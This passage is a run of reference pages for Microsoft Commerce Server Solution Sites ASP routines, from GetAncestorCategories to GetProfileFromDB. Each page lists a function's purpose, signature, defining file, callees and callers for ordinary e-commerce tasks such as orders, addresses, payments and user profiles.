FetchData (addrbook.asp)

FetchData (newaddr.asp)

Main (_setadrs.asp)

Main (addrform.asp)

Remarks

This function defaults to SHIPPING_ADDRESS.


GetAncestorCategories - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an array containing the ancestor categories for the specified category.

Definition

Function GetAncestorCategories(
  byVal mscsCategory,
  byVal sCategoryName
)

Defined in File

template\discount.asp

Routines Called

None.

Called By

listGetShownProductsInfo


GetAnyLineItem - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an arbitrary line item from the specified OrderGroup object, which is useful when all line items contain similar information. This is accomplished by searching each OrderForm object in the specified OrderGroup object, and returning the first line item found.

Definition

Function GetAnyLineItem(
  mscsOrderGrp
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

GetAnySavedAddressID

GetSavedAddressID

InitializeSummaryPage

PrepareShippingMethods

sGetDefaultShippingMethod


GetAnyOrderForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the specified OrderGroup object, and returns the first OrderForm object it finds.

Definition

Function GetAnyOrderForm(
  mscsOrderGrp
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

GetAnySavedAddressID

GetDefaultValueForNameOnCard

GetDefaultValuesForCreditCardFields

GetDefaultValuesForPurchaseOrderFields

GetSavedAddressID

InitializeSummaryPage

tblRenderOrderDetailsContents

ValidateSubmittedCreditCardData

ValidateSubmittedPurchaseOrderData


GetAnySavedAddressID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves an Address ID from the OrderGroup object specified by the mscsOrderGroup parameter and tries to find a corresponding address of the specified type (shipping or billing). If one cannot be found, it searches for a corresponding address of the other type.

Definition

Function GetAnySavedAddressID(
  mscsOrderGrp,
  byVal iAddrType
)

Defined in File

addrform.asp

Routines Called

GetAnyLineItem

GetAnyOrderForm

Called By

GetDefaultValuesForAddressFormFields


GetAppConfigObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an initialized AppConfig object. It sets the global variable dictConfig to the Dictionary object returned by the GetOptionsDictionary method of the AppConfig object, and adds the s_SecureHostName and s_NonSecureHostName values from the SiteConfig object to the dictConfig dictionary.

Definition

Function GetAppConfigObject()

Return Value

An initialized AppConfig object.

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetSiteConfigObject

Called By

GetConfigDictionary

Main (include\global_main_lib.asp)


GetArrayFromList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns an array containing the items in the specified SimpleList object.

Definition

Function GetArrayFromList(
  byVal listFields
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

htmRenderOrderForm


GetAttributeValueFromProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves a property value from a profile.

Definition

Function GetAttributeValueFromProfile(
  byVal objProfile,
  byVal sPropertyName
)

Defined in File

services\include\get_profiles.asp

Routines Called

None.

Called By

dictGetSearchDictionaryForPage

GetOrgAttributeFromID

GetUserPropertyFromID


GetAuthManagerObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns an AuthManager object.

Definition

Function GetAuthManagerObject()

Defined in File

include\std_access_lib.asp

Routines Called

None.

Called By

SetupPage


GetBaseURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the base URL for this application.

Definition

Function GetBaseURL()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetCommerceSiteInstallPoint

Called By

InitCSF


GetBasketDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves basket details.

Definition

Function GetBasketDetails()

Return Value

A SimpleList object that contains one item for each item in all the OrderForm objects in the OrderGroup object for the current user. This process flattens the OrderGroup/OrderForm hierarchy.

Defined in File

template\discount.asp

Routines Called

CollectBasketItems

GetOrderGroup

GetPipelineLogFile

LoadBasket

RunMtsPipeline

Called By

None.

Remarks

This function loads the basket and runs the product pipeline. If the basket is already loaded, use the CollectBasketItems function.


GetBillToCurrenciesListItems - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object containing three items: the MessageManager "L_SelectOne_Text" message, the base currency symbol, and the alternate currency symbol.

Definition

Function GetBillToCurrenciesListItems()

Defined in File

include\global_internationalization_lib.asp

Routines Called

GetSimpleList

Called By

GetBillToCurrencyFieldDefinition


GetBillToCurrenciesListValues - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object containing three items: the integer –1, the base currency code, and the alternate currency code.

Definition

Function GetBillToCurrenciesListValues()

Defined in File

include\global_internationalization_lib.asp

Routines Called

GetSimpleList

Called By

GetBillToCurrencyFieldDefinition


GetBillToCurrencyFieldDefinition - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function initializes the form field definitions for the bill-to currency field.

Definition

Function GetBillToCurrencyFieldDefinition()

Return Value

A SimpleList object containing the form field definitions for the bill-to currency field.

Defined in File

include\global_internationalization_lib.asp

Routines Called

GetBillToCurrenciesListItems

GetBillToCurrenciesListValues

GetDictionary

Called By

GetCreditCardFieldDefinitions

GetPurchaseOrderFieldDefinitions

Remarks

For more information about forms processing in the Solution Sites, see Forms Processing for Solution Sites.


GetCatalogForUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the ProductCatalog object specified by the sCatalogName parameter. If the user does not have rights to this catalog, the user is redirected to the "bad catalog item" error page (error\baditem.asp).

Definition

Function GetCatalogForUser(
  byVal sCatalogName,
  byVal sUserID
)

Defined in File

include\catalog.asp

Routines Called

EnsureUserHasRightsToCatalog

GenerateURL

Called By

arrSearchDept

Main (_additem.asp)

Main (stepsrch.asp)


GetCommerceSiteInstallPoint - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns one of the constants HOME_DIRECTORY or VIRTUAL_DIRECTORY, depending on whether the application was installed at the root of the website or in a virtual directory, respectively.

Definition

Function GetCommerceSiteInstallPoint()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

GetBaseURL

GetMachineBaseURL


GetCommerceSiteName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the Commerce Server site name stored in the global page variable MSCSCommerceSiteName.

Definition

Function GetCommerceSiteName()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

GetErrorSource


GetComputerName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the name of the computer.

Definition

Function GetComputerName()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

GetMachineBaseURL

JoinWebFarm


GetConfigDictionary - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the Dictionary object returned by a call to the GetOptionsDictionary method of the AppConfig object.

Definition

Function GetConfigDictionary()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetAppConfigObject

Called By

Main (include\global_main_lib.asp)


GetCorrectedCookiePath - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts the case of a cookie path to match the Internet Information Services (IIS) application name, returning True if any character case was converted, and False otherwise.

Definition

Function GetCorrectedCookiePath(
  ByRef url
)

Defined in File

include\std_cookie_lib.asp

Routines Called

GetIISApplicationName

Called By

CorrectRequest

Remarks

The corrected cookie path, if correction was required, is returned in the url parameter.

Sites call this function to ensure that any cookies that are set match the case of subsequently generated URLs (because cookies are case-sensitive).


GetCorrectedHostName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function corrects the host name in the url parameter, if needed. It returns True if the host name was corrected, and False otherwise.

The purpose of this correction is so that cookies use the same host name as used in the generated URLs (so that the cookies will be preserved).

Definition

Function GetCorrectedHostName(
  ByRef url
)

Defined in File

include\std_cookie_lib.asp

Routines Called

None.

Called By

CorrectRequest

Remarks

The corrected hostname, if correction was required, is returned in the url parameter.


GetCountryCodesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a SimpleList object that has "-1" as the first item, and the codes corresponding to the countries returned by the GetCountryNamesList method of the AppConfig object as the subsequent items.

Definition

Function GetCountryCodesList()

Defined in File

include\global_internationalization_lib.asp

Routines Called

GetCountryNamesList

GetSimpleList

Called By

GetAddressFieldDefinitions


GetCountryNamesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a SimpleList object that has the string corresponding to the MessageManager constant L_SelectOne_Text as the first item, and the names of the countries returned by the GetCountryNamesList method of the AppConfig object as the subsequent items.

Definition

Function GetCountryNamesList()

Defined in File

include\global_internationalization_lib.asp

Routines Called

GetSimpleList

Called By

colRenderCountryNames

GetAddressFieldDefinitions

GetCountryCodesList


GetCreditCardCodesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the same SimpleList object as the GetCreditCardNamesList function, except that the first item is set to the string "-1".

Definition

Function GetCreditCardCodesList()

Defined in File

include\global_creditcards_lib.asp

Routines Called

GetCreditCardNamesList

Called By

GetCreditCardFieldDefinitions


GetCreditCardFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function initializes and returns the form field definitions for credit card fields.

Definition

Function GetCreditCardFieldDefinitions()

Return Value

A SimpleList object containing the form field definitions for credit card fields.

Defined in File

include\global_creditcards_lib.asp

Routines Called

GetBillToCurrencyFieldDefinition

GetCreditCardCodesList

GetCreditCardNamesList

GetDictionary

GetMonthCodesList

GetMonthNamesList

GetSimpleList

GetYearsListItems

GetYearsListValues

Called By

GetFormDefinitions

Remarks

For more information about forms processing in the Solution Sites, see Forms Processing for Solution Sites.


GetCreditCardNamesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a SimpleList object that has the string corresponding to the MessageManager constant L_SelectOne_Text as the first item, and the names of the accepted credit cards as the subsequent items.

The credit card names are also retrieved from the MessageManager object, using the constants L_AmericanExpress_Text, L_Discover_Text, L_MasterCard_Text, and L_VISA_Text.

Definition

Function GetCreditCardNamesList()

Defined in File

include\global_creditcards_lib.asp

Routines Called

GetSimpleList

Called By

GetCreditCardCodesList

GetCreditCardFieldDefinitions


GetCurrentUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the profile of the current user, if the user has one.

This function also ensures that the profile returned is the latest version available on the Web farm.

Definition

Function GetCurrentUserProfile()

Defined in File

include\std_profile_lib.asp

Routines Called

EnsureUpToDateUserProfile

GetProfileFromDB

Called By

CheckPartnerServiceAccess

EnsureAccess

EnsureUserProfile

GetUserProfileByLoginName

mscsTransferGuestUserProfile

mscsUserCatalogsetID

PrepareLoginPage

PrepareNewUserPage

PrepareRenderMenu

RenderDiscounts

rsGetUserDetails

RunMtsPipeline

Remarks

This function is optimized to return Nothing when the user is known to not have a profile, and to cache the user profile in the page variable Private_CurrentUserProfile in case this function is called again on the same page.

For more information about profiles and Web farm issues, see About the Profiles Feature for Solution Sites.


GetDefaultPaymentMethodForUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the first payment method in the passed SimpleList object.

Definition

Function GetDefaultPaymentMethodForUser(
  listMethods
)

Defined in File

include\payment.asp

Routines Called

None.

Called By

EnsureSupportForPaymentMethod

htmRenderVerifyWithForm

sLookUpPaymentMethod


GetDefaultValueForNameOnCard - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the specified OrderGroup object for the first and last name associated with the billing address, combines the names into a single string, and then returns that string.

Definition

Function GetDefaultValueForNameOnCard(
  mscsOrderGrp
)

Defined in File

crdtcard.asp

Routines Called

FormatOutput

GetAnyOrderForm

Called By

GetDefaultValuesForCreditCardFields


GetDefaultValuesForAddressFormFields - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object that contains default address values of the specified type, retrieved from the specified OrderGroup object. If these address values cannot be retrieved, a Dictionary object with the single key "ADDRESS_COUNTRY", set to a value of "–1", is returned.

Definition

Function GetDefaultValuesForAddressFormFields(
  mscsOrderGrp,
  listFlds,
  byVal iAddrType
)

Defined in File

addrform.asp

Routines Called

GetAnySavedAddressID

GetDictionary

Called By

Main (addrform.asp)

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetDefaultValuesForCreditCardFields - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object that contains default credit card values retrieved from the specified OrderGroup object. The values to retrieve are determined by the credit card fields schema specified by the listFlds parameter. If any of these values cannot be retrieved, a value of "–1" is set for that value.

Definition

Function GetDefaultValuesForCreditCardFields(
  mscsOrderGrp,
  listFlds
)

Defined in File

crdtcard.asp

Routines Called

GetAnyOrderForm

GetDefaultValueForNameOnCard

GetDictionary

Called By

InitializeCreditcardPage

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetDefaultValuesForPurchaseOrderFields - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object of default values copied from the first OrderForm object in the specified OrderGroup object. The values to retrieve are determined by the purchase order fields schema specified by the listFlds parameter.

Definition

Function GetDefaultValuesForPurchaseOrderFields(
  mscsOrderGrp,
  listFlds
)

Defined in File

po.asp

Routines Called

GetAnyOrderForm

GetDictionary

Called By

Main (po.asp)

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetDictionary - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object.

Definition

Function GetDictionary()

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

AddGroupAndPropertySchemas

dictGetCatalogAttributes

dictGetInitialFieldValues

dictGetProfileSchemaForAllProfileTypes

dictGetPropertySchema

dictGetRSFields

GetAddressBookAddressFieldDefinitions

GetAddressFieldDefinitions

GetBillToCurrencyFieldDefinition

GetCreditCardFieldDefinitions

GetDefaultValuesForAddressFormFields

GetDefaultValuesForCreditCardFields

GetDefaultValuesForPurchaseOrderFields

GetFieldsErrorDictionary

GetFormDefinitions

GetLoginFieldDefinitions

GetObjectInstanceDictionary

GetPartnerAndCustomerServicePageAttributes

GetPasswordFieldDefinition

GetPurchaseOrderFieldDefinitions

GetSecurePagesDictionary

GetShipToAddressFieldDefinitions

GetSitePages

GetSiteStyles

GetStyles

GetSubmittedFieldValues

htmRenderDiscountMessageGroup

htmRenderDiscountsApplied

htmRenderDiscountsDescriptions

htmRenderPredictions

InitCacheManager

InitSitePipelines

iValidateSubmittedRegistrationData

listGetShownProductsInfo

RsToDict

RunMtsPipeline

ValidateSubmittedLoginData


GetDiscountDescription - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the content list and returns the description of the discount that has been applied to the item.

Definition

Function GetDiscountDescription(
  byVal ciid,
  byVal oContentList
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

htmRenderDiscountMessageGroup

htmRenderDiscountsApplied

htmRenderDiscountsDescriptions


GetDWConnectionString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the SQL Server OLEDB connection string for the Data Warehouse that corresponds to the Web site.

Definition

Function GetDWConnectionString()

Defined in File

include\global_data_lib.asp

Routines Called

None.

Called By

InitPredictor


GetErrorCount - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the error count in each order form.

Definition

Function GetErrorCount(
  byVal mscsOrderGrp,
  byVal sCollectionName
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

CheckBasket

CheckOut

InitializeSummaryPage


GetErrorSource - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the site and function names of the error source.

Definition

Function GetErrorSource(
  byVal sFunctionName
)

Defined in File

include\std_util_lib.asp

Routines Called

FormatOutput

GetCommerceSiteName

Called By

JoinWebFarm


GetFieldsErrorDictionary - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object. The keys are the names of the form post fields and the values are the associated field validation error messages. Examples of errors include empty fields where input is required, incorrect password length, invalid characters, and so on.

Definition

Function GetFieldsErrorDictionary(
  listFields,
  dictFieldVals
)

Parameters

listFields
A SimpleList object that contains the field definitions for this form. The SimpleList object contains a collection of Dictionary objects, where each of the Dictionary objects contains information about a form field. This parameter is one of the form field Dictionary objects initialized within the function GetFormDefinitions.
dictFieldVals
A Dictionary object that contains the form post values corresponding to the fields specified by the listFields parameter. The keys for these values are the field names, as specified in the listFields parameter. This parameter is constructed using the function GetSubmittedFieldValues.

Return Value

A Dictionary object that contains error message strings corresponding to the fields specified by the listFields parameter. The keys for these messages are the field names, as specified in the listFields parameter.

Defined in File

include\form_lib.asp

Routines Called

bMatchesPattern

GetDictionary

IsEntityInList

Called By

iValidateSubmittedAddress

iValidateSubmittedAddressForAddressBook

iValidateSubmittedRegistrationData

ValidateSubmittedCreditCardData

ValidateSubmittedLoginData

ValidateSubmittedPurchaseOrderData

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetFileSystemObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Scripting.FileSystemObject object.

Definition

Function GetFileSystemObject()

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetINIString


GetFormDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object of field definitions (including variables such as maximum and minimum field lengths, whether the field is required, and so on) for the following fields: Login, Registration, BillToAddress, ShipToAddress, AddressBookAddress, CreditCard, and PurchaseOrder.

Definition

Function GetFormDefinitions()

Defined in File

include\global_forms_lib.asp

Routines Called

GetAddressBookAddressFieldDefinitions

GetAddressFieldDefinitions

GetCreditCardFieldDefinitions

GetDictionary

GetLoginFieldDefinitions

GetPurchaseOrderFieldDefinitions

GetRegistrationFieldDefinitions

GetShipToAddressFieldDefinitions

Called By

Main (include\global_main_lib.asp)

Remarks

The GetMessageManagerObject function must be called before this function is called.


GetIISApplicationName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the Internet Information Services (IIS) application name.

Definition

Function GetIISApplicationName()

Defined in File

include\std_cookie_lib.asp

Routines Called

None.

Called By

GetCorrectedCookiePath

SetTestCookie


GetINIFileName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the file name for the .ini file containing the site configuration information.

Definition

Function GetINIFileName()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetRootPath

Called By

Main (include\global_main_lib.asp)


GetINIString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the value of the specified key or "" (an empty string) if the key or its value cannot be found.

Definition

Function GetINIString(
  byVal sFileName,
  byVal sKey
)

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetFileSystemObject

GetKeyValue

Called By

Main (include\global_main_lib.asp)


GetInputParameters - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves the request parameters required by the GetShownProductsDetails function.

Definition

Sub GetInputParameters (
  ByRef sCatalogName,
  ByRef sCategoryName,
  ByRef nPageNumber,
  ByRef sProductID
)

Defined in File

template\discount.asp

Routines Called

GetRequestString

Called By

GetShownProductsDetails


GetKeyValue - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the value part of a key/value pair line in an INI file.

Definition

Function GetKeyValue(
  byVal sKeyValuePair,
  byVal sKey
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetINIString


GetLineItemsCount - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the number of items in the basket.

Definition

Function GetLineItemsCount(
  byVal mscsOrderGrp
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

CheckBasket


GetListItemIndex - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the index of the specified item in the list.

Definition

Function GetListItemIndex(
  byVal sItem,
  list
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

InitializeCreditcardPage

Main (po.asp)


GetLoginFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the login form field definitions.

Definition

Function GetLoginFieldDefinitions()

Defined in File

include\global_forms_lib.asp

Routines Called

FormatOutput

GetDictionary

GetPasswordFieldDefinition

GetSimpleList

Called By

GetFormDefinitions

GetRegistrationFieldDefinitions

Remarks

For best results, keep the RegExp object pattern specified in the Pattern entry of the form field schema dictionary the same as the one used in Business Desk and the Partner Services.

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetMachineBaseURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the base URL for this application, and specifically for this server.

Definition

Function GetMachineBaseURL()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetCommerceSiteInstallPoint

GetComputerName

iGetWebServerPort

Called By

InitCacheManager

Remarks

If you use Commerce Server Business Desk production refresh capabilities (present in BDRefresh.asp) from a browser outside the local area network (LAN), this function must be changed so that it returns a computer-specific URL that works outside the LAN.


GetMessageManagerObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function reads the MessageManager object entries from the file rc.xml.

Definition

Function GetMessageManagerObject()

Defined in File

include\global_messagemanager_lib.asp

Routines Called

GetRootPath

Called By

Main (include\global_main_lib.asp)


GetMonthCodesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a list of numeric month codes.

Definition

Function GetMonthCodesList()

Defined in File

include\std_dates_lib.asp

Routines Called

GetSimpleList

Called By

GetCreditCardFieldDefinitions


GetMonthNamesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a list of month names.

Definition

Function GetMonthNamesList()

Defined in File

include\std_dates_lib.asp

Routines Called

GetSimpleList

Called By

GetCreditCardFieldDefinitions


GetNewGuestUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

If the privacy options of the Site Configuration dictionary is set to PROFILE_GUEST_USER, this function creates a new user profile, sets the user_id_changed_by field to the newly generated user ID, sets the user_type field to GUEST_PROFILE, the account_status field to ACCOUNT_ACTIVE, the partner_desk_role field to ROLE_USER, and the date_created field to the current time. After the profile is created, the function passes it to the UpdateUserProfile routine to perform common functions the sites require when saving profiles.

Definition

Function GetNewGuestUserProfile()

Defined in File

include\std_profile_lib.asp

Routines Called

UpdateUserProfile

Called By

EnsureAccess

Main (login\_guest.asp)


GetObjectInstanceDictionary - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object. The Dictionary object contains an item called "Dictionary" that contains an empty Dictionary object. The Dictionary object also contains an item called "SimpleList" that contains an empty SimpleList object.

Definition

Function GetObjectInstanceDictionary()

Defined in File

include\std_util_lib.asp

Routines Called

GetDictionary

GetSimpleList

Called By

Main (include\global_main_lib.asp)


GetODBCTimeStamp - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts a date variant to an Open Database Connectivity (ODBC) timestamp format { ts 'yyyy-mm-dd hh:mm:ss' }.

Definition

Function GetODBCTimeStamp(
  varTime
)

Defined in File

services\include\profiles_common.asp

Routines Called

None.

Called By

sAddEndDate

sAddStartDate


GetOptOutList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the list ID of the opt-out list associated with the campaign item, or Null if there is no opt-out list associated with the campaign item.

Definition

Function GetOptOutList(
  conn_campaigns,
  listmanager,
  campitem_id
)

Defined in File

opt-out.asp

Routines Called

None.

Called By

OptOut


GetOrderGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an initialized OrderGroup object.

Definition

Function GetOrderGroup(
  byVal sOrderID
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

GetBasketDetails

InitializeConfirmationPage

LoadBasket

Main (_recvpo.asp)

mscsGetOrderGroupWithDiscountsByID


GetOrderGroupManager - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an OrderGroupManager object.

Definition

Function GetOrderGroupManager()

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

MoveBasketItems

SaveBasketAsOrder


GetOrganizationAddresses - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function serves as a wrapper function to the GetAddresses function, passing the sOrgID parameter to retrieve the corresponding address as a Recordset object.

Definition

Function GetOrganizationAddresses(
  byVal sOrgID
)

Defined in File

include\addr_lib.asp

Routines Called

GetAddresses

Called By

None.


GetOrgAttributeFromID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the value of the specified property for an Organization profile.

Definition

Function GetOrgAttributeFromID(
  byVal sAttributeName,
  byVal sID
)

Defined in File

services\include\get_profiles.asp

Routines Called

GetAttributeValueFromProfile

rsGetProfileByKey

Called By

bPaintACLForUser

SaveUserParentDNProperty

sGetParentDN


GetPartnerAndCustomerServicePageAttributes - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the properties for all Partner and Customer Services pages.

Definition

Function GetPartnerAndCustomerServicePageAttributes(
  MSCSSitePages
)

Defined in File

services\include\global_service_lib.asp

Routines Called

GetDictionary

Called By

Main (include\global_main_lib.asp)


GetPasswordFieldDefinition - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object of field definitions for the password field in the new user and login forms. The field definitions include size constraint settings, invalid characters, and so on.

Definition

Function GetPasswordFieldDefinition()

Defined in File

include\global_forms_lib.asp

Routines Called

FormatOutput

GetDictionary

Called By

GetLoginFieldDefinitions

GetRegistrationFieldDefinitions

Remarks

For best results, keep the RegExp object pattern specified in the Pattern entry of the form field schema dictionary the same as the one used in Business Desk and the Partner Services.


GetPaymentMethodDisplayName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the display name for the specified payment method.

Definition

Function GetPaymentMethodDisplayName(
  byVal sPaymentMethod
)

Defined in File

include\payment.asp

Routines Called

None.

Called By

htmRenderPaymentOptionsForUser


GetPaymentMethodsForSite - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the payment methods for the site. This function must run after the MessageManager object is assigned.

Definition

Function GetPaymentMethodsForSite()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetSimpleList

IsBitValueSet

Called By

Main (include\global_main_lib.asp)


GetPaymentMethodsForUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the payment methods for the user.

Definition

Function GetPaymentMethodsForUser()

Defined in File

include\payment.asp

Routines Called

GetSimpleList

IsEntityInList

Called By

InitializeCreditcardPage

InitializePO

InitializeSummaryPage

Main (dispatch.asp)


GetPaymentPageFromPaymentMethod - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the friendly name of either the crdtcard.asp or po.asp page, depending on the value of the sPaymentMethod parameter.

Definition

Function GetPaymentPageFromPaymentMethod(
  byVal sPaymentMethod
)

Defined in File

include\payment.asp

Routines Called

None.

Called By

EnsureSupportForPaymentMethod

htmRenderVerifyWithForm

Main (dispatch.asp)


GetPipelineLogFile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the log file path along with the user ID in the file name.

Definition

Function GetPipelineLogFile(
  byVal s
)

Defined in File

include\std_pipeline_lib.asp

Routines Called

None.

Called By

CheckBasket

CheckOut

GetBasketDetails

InitializeSummaryPage

PreparePickShipForm

RunOrderPipeline


GetPriceAndCurrency - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves both the price and a formatted price string for a product.

Definition

Sub GetPriceAndCurrency(
  ByRef rsProducts,
  ByRef cyProductPrice,
  ByRef cyCurrency
)

Parameters

rsProducts
A Recordset object containing product information.
cyProductPrice
A currency variant containing the price of the product.
cyCurrency
A currency variant containing the price of the product as a string formatted to the locale.

Defined in File

include\catalog.asp

Routines Called

htmRenderCurrency

Called By

htmRenderProductsTable


GetProductQuantity - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function uses the RequestNumber method of the AppFrameWork object to retrieve and return the value of the PRODUCT_QTY_URL_KEY. If this value is Null, or outside the range of 1 to 999, the value is reset to -1.

Definition

Function GetProductQuantity()

Defined in File

_additem.asp

Routines Called

IsNumberInRange

Called By

Main (_additem.asp)


GetProfileFromDB - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves the specified profile from the Profiles store.

Definition

